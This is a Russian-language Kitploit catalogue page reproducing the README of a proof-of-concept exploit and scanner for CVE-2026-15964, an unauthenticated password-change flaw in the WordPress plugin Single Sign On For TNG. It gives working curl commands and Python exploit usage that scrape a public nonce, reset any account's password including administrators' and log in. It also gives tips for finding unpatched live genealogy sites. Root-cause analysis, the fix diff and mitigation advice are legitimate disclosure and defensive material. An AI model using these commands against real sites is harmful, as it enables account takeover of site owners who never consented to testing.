Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-15964-PoC — PoC и чекер для CVE-2026-15964 - изменение пароля без аутентификации в плагине WordPress Single Sign On For TNG <= 2.0.0 (CVSS 9.8) | Kitploit
Инструменты/GitHubGitHub/instructor-admin/cve-2026-15964-poc
Аутентификация и авторизацияПовышение привилегийСканеры веб-уязвимостейЭксплуатацияЭксплуатация веб-приложенийСбор информацииВеб-безопасностьТестирование на Проникновение

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
GitHub
instructor-admin/cve-2026-15964-poc

CVE-2026-15964-PoC

PoC и чекер для CVE-2026-15964 - изменение пароля без аутентификации в плагине WordPress Single Sign On For TNG <= 2.0.0 (CVSS 9.8)

Репозиторий
119 дней назадЕщё не проверено

CVE-2026-15964 - Single Sign On For TNG <= 2.0.0

POC

Неаутентифицированное повышение привилегий через непроверенную смену пароля в плагине WordPress Single Sign On For TNG.

КритичностьКритическая (9.8) — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWECWE-620 (Непроверенная смена пароля)
Затронутоверсии плагина с 1.0.0 по 2.0.0
Исправлено в2.1.0 (выпущена 2026-07-27)
Опубликовано2026-08-01
Требуется аутентификациянет (wp_ajax_nopriv_ssoprocess_ajax)
Воздействиесмена пароля любой учётной записи WordPress, включая администраторов, — полный захват сайта
Плагинhttps://wordpress.org/plugins/single-sign-on-for-tng/

TL;DR

Любой неаутентифицированный посетитель может сменить пароль любой учётной записи на сайте, где установлен плагин версии 2.0.0 или ниже. Для этого нужны два HTTP-запроса:

  1. GET-запрос к главной странице и копирование nonce из JavaScript-объекта SSOPWDREQUIREMENT.
  2. POST-запрос к admin-ajax.php с параметрами operation=setnewpassword, email жертвы и новым паролем.

Остальное делает функция reset_password() из ядра WordPress. Никакого токена, никакой ссылки подтверждения по email, никакой проверки прав. После этого входите как администратор.

root@kitploit:~
NONCE=$(curl -sk https://target/ | grep -oP "SSOPWDREQUIREMENT\s*=\s*\{.*?'nonce'\s*:\s*'\K[0-9a-f]{10}")
curl -sk -X POST https://target/wp-admin/admin-ajax.php \
  -d "action=ssoprocess_ajax&nonce=${NONCE}&operation=setnewpassword&[email protected]&password=Pwned!@2026x"
# -> {"success":true}

Почему это работает

Обработчик зарегистрирован для неаутентифицированных пользователей

В single-sign-on-for-tng.php (v2.0.0):

root@kitploit:~
add_action('wp_ajax_ssoprocess_ajax',        array($this, 'ssoprocess_ajax'));   // line 68
add_action('wp_ajax_nopriv_ssoprocess_ajax', array($this, 'ssoprocess_ajax'));   // line 69

wp_ajax_nopriv_* означает, что обработчик доступен вообще без сессии.

Единственная защита — nonce, который плагин выдаёт каждому посетителю

load_scripts() подключена к хуку wp_enqueue_scripts, поэтому на каждой странице фронтенда плагин выводит в HTML вот это:

root@kitploit:~
wp_localize_script('general_script','SSOPWDREQUIREMENT',
    array('passwordspec'=>PASSWORDSPEC,
          'url'=>admin_url('admin-ajax.php'),
          'nonce'=>wp_create_nonce("ssoajaxnonce")));                              // line 96

Что рендерится так:

root@kitploit:~
<script id="general_script-js-extra">
var SSOPWDREQUIREMENT = {"passwordspec":"...","url":"https://target/wp-admin/admin-ajax.php","nonce":"9c0de6ab12"};
</script>

А обработчик проверяет его вот так:

root@kitploit:~
public function ssoprocess_ajax() {
    global $wpdb;
    check_ajax_referer('ssoajaxnonce', 'nonce');   // line 104
    ...

Загвоздка: WordPress вычисляет nonce с помощью wp_create_nonce($action), используя uid и токен сессии. Для вышедших из системы посетителей это 0 и пустая строка, а значит каждый анонимный посетитель получает один и тот же nonce. Он пересоздаётся только раз в 12 часов (тик nonce). Поэтому nonce, который плагин выводит любому посетителю, действителен и для атакующего — красть здесь нечего, он опубликован прямо на странице.

А затем сама смена пароля — без каких-либо доказательств владения

root@kitploit:~
switch ($op) {
    case 'setnewpassword':
        if (!isset($post['email']) || !isset($post['password'])) { ... }
        $email = wp_unslash($post['email']);
        $user  = get_user_by('email', $email);
        if ($user !== false) {
            reset_password($user, $post['password']);   // line 120
            ...
            wp_send_json_success(array('success'=>true));
        }
        else
            wp_send_json_error(array('success'=>false));
        break;

reset_password() — это функция ядра WordPress. Она устанавливает новый хеш, завершает все остальные сессии жертвы и вызывает действия password_reset / after_password_reset. Здесь она вызывается без каких-либо доказательств того, что вызывающий является владельцем учётной записи.

Ещё два момента, о которых стоит знать:

  • На этом пути нет проверки сложности пароля на стороне сервера. Правила MINIMUM_PASSWORD_LENGTH / PASSWORDSPEC плагина применяются только в validate_form() для форм Forminator, но никогда здесь. Принимается любой пароль.
  • Перечисление учётных записей. {"success":true} против {"success":false} показывает, зарегистрирован ли email. Режим --enum-only чекера использует это.
  • Бонусный баг в той же функции: operation=set_tzoffset без аутентификации вызывает update_option('localtzoffset', $post['timezoneoffset']). Напрямую для RCE не эксплуатируется, но это неаутентифицированная запись опции — упомянуть в отчёте стоит.

Что изменилось в версии 2.1.0

Сравнение 2.0.0 и 2.1.0 делает исправление очевидным (и подтверждает баг):

root@kitploit:~
             case 'setnewpassword':
+                $timeout = intval($post['timeout']);
+                if (time() > $timeout) {
+                    // clears custom_recovery_token / _expiration / _nonce user meta
+                    wp_send_json_error(array('success'=>false,'message'=>'The time to submit the new password expired...'));
+                    return;
+                }
                 $email = wp_unslash($post['email']);
                 $user  = get_user_by('email',$email);
                 if ($user !== false) {
                     reset_password($user,$post['password']);

а также в newpasswordform():

root@kitploit:~
+            if (empty($_GET['uid']))
+                return ... "An unexpected error occurred." ...
+            $user_id = intval(sanitize_text_field(wp_unslash($_GET['uid'])));
+
+            // The nonce is checked here
+            if (wp_verify_nonce(get_user_meta($user_id, 'custom_recovery_nonce', true), 'ssopwdnonce') === false)
+                return ... "This recovery link is no longer valid." ...

Итак, в 2.1.0 процесс выглядит так: настоящий запрос на восстановление сохраняет в user meta персональные custom_recovery_token и custom_recovery_nonce, ссылка восстановления содержит ID пользователя, форма проверяет оба значения, а AJAX-обработчик отказывается выполнять операцию после истечения окна восстановления (timeout). Атакующий, который не может предъявить действующую запись восстановления, больше не сможет запустить setnewpassword.


Воспроизведение (вручную)

Шаг 1 — извлекаем nonce

root@kitploit:~
curl -sk https://target/ | grep -oE "SSOPWDREQUIREMENT[^;]+"

Шаг 2 — меняем пароль

root@kitploit:~
curl -sk -X POST https://target/wp-admin/admin-ajax.php \
  -H "X-Requested-With: XMLHttpRequest" \
  -d "action=ssoprocess_ajax&nonce=<NONCE>&operation=setnewpassword&[email protected]&password=Pwned!@2026x"

Ожидаемый ответ на уязвимой установке: {"success":true}

Шаг 3 — входим в систему

root@kitploit:~
curl -sk -X POST https://target/wp-login.php \
  -d "[email protected]&pwd=Pwned!@2026x&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1"

PoC: CVE-2026-15964.py

Эксплойт для одного сайта. Включены неразрушающие режимы.

root@kitploit:~
# one-shot: scrape nonce + change the admin password
python3 CVE-2026-15964.py -u https://target -e [email protected] -p 'NewPass!2026x'

# just scrape the nonce
python3 CVE-2026-15964.py -u https://target --scrape-only

# reuse a nonce you already have
python3 CVE-2026-15964.py -u https://target -e [email protected] -p 'NewPass!2026x' -n 9c0de6ab12

# account existence oracle (no password is set)
python3 CVE-2026-15964.py -u https://target -e [email protected] --enum-only

# fully passive: is the plugin even installed? (GET only)
python3 CVE-2026-15964.py -u https://target --check

Чекер: CVE-2026-15964-checker.py

Пакетный сканер для ваших собственных списков сайтов. Неразрушающий по своей конструкции — он никогда не меняет пароли.

Как он классифицирует каждый сайт:

  1. HTML-отпечаток — объект SSOPWDREQUIREMENT или пути ассетов /wp-content/plugins/single-sign-on-for-tng/ на главной странице.
  2. Версия — строка Stable tag: из readme.txt. <= 2.0.0 — уязвима, >= 2.1.0 — исправлена. Это авторитетный источник согласно CVE.
  3. Поведенческий зонд (--probe, только когда версию прочитать не удаётся) — отправляет operation=setnewpassword с несуществующим email. Установка 2.0.0 отвечает {"success":false} без сообщения об ошибке; установка 2.1.0 отвечает сообщением «The time to submit the new password expired». Настоящий email никогда не передаётся — его передача действительно привела бы к сбросу пароля.
root@kitploit:~
# scan a file of URLs, with the safe probe and 20 workers
python3 CVE-2026-15964-checker.py -f sites.txt --probe --workers 20 --csv results.csv

# or a handful of URLs directly
python3 CVE-2026-15964-checker.py -u https://a.com -u https://b.com

Пример вывода:

root@kitploit:~
URL                                             VERDICT           VER      NONCE  DETAIL
--------------------------------------------------------------------------------------------------------------
https://lab.example.com                         VULNERABLE        2.0.0    yes    readme Stable tag 2.0.0 <= 2.0.0
https://lab2.example.com                        PATCHED           2.1.0    yes    readme Stable tag 2.1.0 > 2.0.0
https://plain-wp.example.com                    PLUGIN_NOT_FOUND  -        -      

Total: 3 | VULNERABLE: 1 | PATCHED: 1 | UNKNOWN: 0 | other: 1

Вердикты: VULNERABLE / PATCHED / PLUGIN_NOT_FOUND / NOT_WORDPRESS / UNKNOWN / ERROR. UNKNOWN обычно означает WAF, агрессивный кэш CDN или сайт, который блокирует readme, — такие проверяйте вручную.


Локальное тестирование инструментов

tests/mock_server.py эмулирует шесть сценариев (уязвимая по версии, исправленная по версии, уязвимая по зонду, исправленная по зонду, WordPress без плагина, не-WordPress). Именно так логика чекера была проверена до того, как его применили к реальным целям:

root@kitploit:~
# terminal 1
python3 tests/mock_server.py 8081 vuln_readme

# terminal 2
python3 CVE-2026-15964-checker.py -u http://127.0.0.1:8081 --probe
# -> VULNERABLE

pip install -r requirements.txt установит единственную зависимость (requests).


Практические заметки

Честный контекст, потому что он влияет на то, как вы этим воспользуетесь.

  • Этот плагин предназначен для TNG (The Next Generation of Genealogy Sitebuilding), то есть для любительских генеалогических сайтов. Это очень небольшая экосистема: примерно 1 600 загрузок за всё время на wordpress.org, активные установки скрыты (< 10), первый релиз — октябрь 2024 года.
  • Поскольку 2.1.0 появилась только 2026-07-27, подавляющее большинство загрузок — уязвимые версии. Если вы вообще найдёте установку, скорее всего, она всё ещё уязвима.
  • Самое сложное — обнаружение. Плагин не оставляет следов в индексе Shodan (я проверил все отпечатки, какие мог придумать, — ноль результатов), и даже анализ топ-1000 WordPress-хостов, которые возвращает Shodan, не нашёл ни одной установки. Лучшие источники: Google inurl:"single-sign-on-for-tng", "SSOPWDREQUIREMENT" в поисковиках, индексирующих полный исходный код страниц (PublicWWW, Censys, FOFA), а также само сообщество TNG (tngsitebuilding.com, генеалогические форумы).
  • Категория UNKNOWN у чекера будет сравнительно большой на реальных генеалогических сайтах — многие работают за агрессивным кэшированием или блокируют readme.txt. Не воспринимайте это как «не уязвим»; проверяйте вручную.

Обнаружение и устранение

  • Обновитесь до 2.1.0 (или полностью удалите плагин).
  • Правило WAF: отклонять POST-запросы к admin-ajax.php, где action=ssoprocess_ajax приходит не из аутентифицированной сессии; оповещать о setnewpassword из анонимных источников.
  • Отслеживайте изменения хеша wp_users.user_pass и действия password_reset / after_password_reset; обращайте внимание на входы администраторов сразу после смены пароля.
  • Считайте ssoajaxnonce общеизвестным — им он и был всегда.

Ссылки

  • https://www.cve.org/CVERecord?id=CVE-2026-15964
  • https://mondoo.com/vulnerability-intelligence/vulnerability/CVE-2026-15964
  • https://www.wordfence.com/threat-intel/vulnerabilities/id/1d8d393e-764c-491d-8afb-7d4f8d0c387a?source=cve
  • Уязвимый исходный код (2.0.0): https://plugins.trac.wordpress.org/browser/single-sign-on-for-tng/tags/2.0.0/single-sign-on-for-tng.php
  • Исправленный исходный код (2.1.0): https://plugins.trac.wordpress.org/browser/single-sign-on-for-tng/tags/2.1.0/single-sign-on-for-tng.php
  • https://plugins.trac.wordpress.org/changeset?reponame=&old=3624827%40single-sign-on-for-tng&new=3624827%40single-sign-on-for-tng

Отказ от ответственности

Этот репозиторий предназначен только для авторизованного тестирования безопасности и образовательных целей. Вы несёте ответственность за свои действия. Не запускайте эти инструменты против систем, которыми вы не владеете или на тестирование которых у вас нет явного письменного разрешения. Несанкционированный доступ к компьютерным системам является преступлением в большинстве юрисдикций.

Скачать инструмент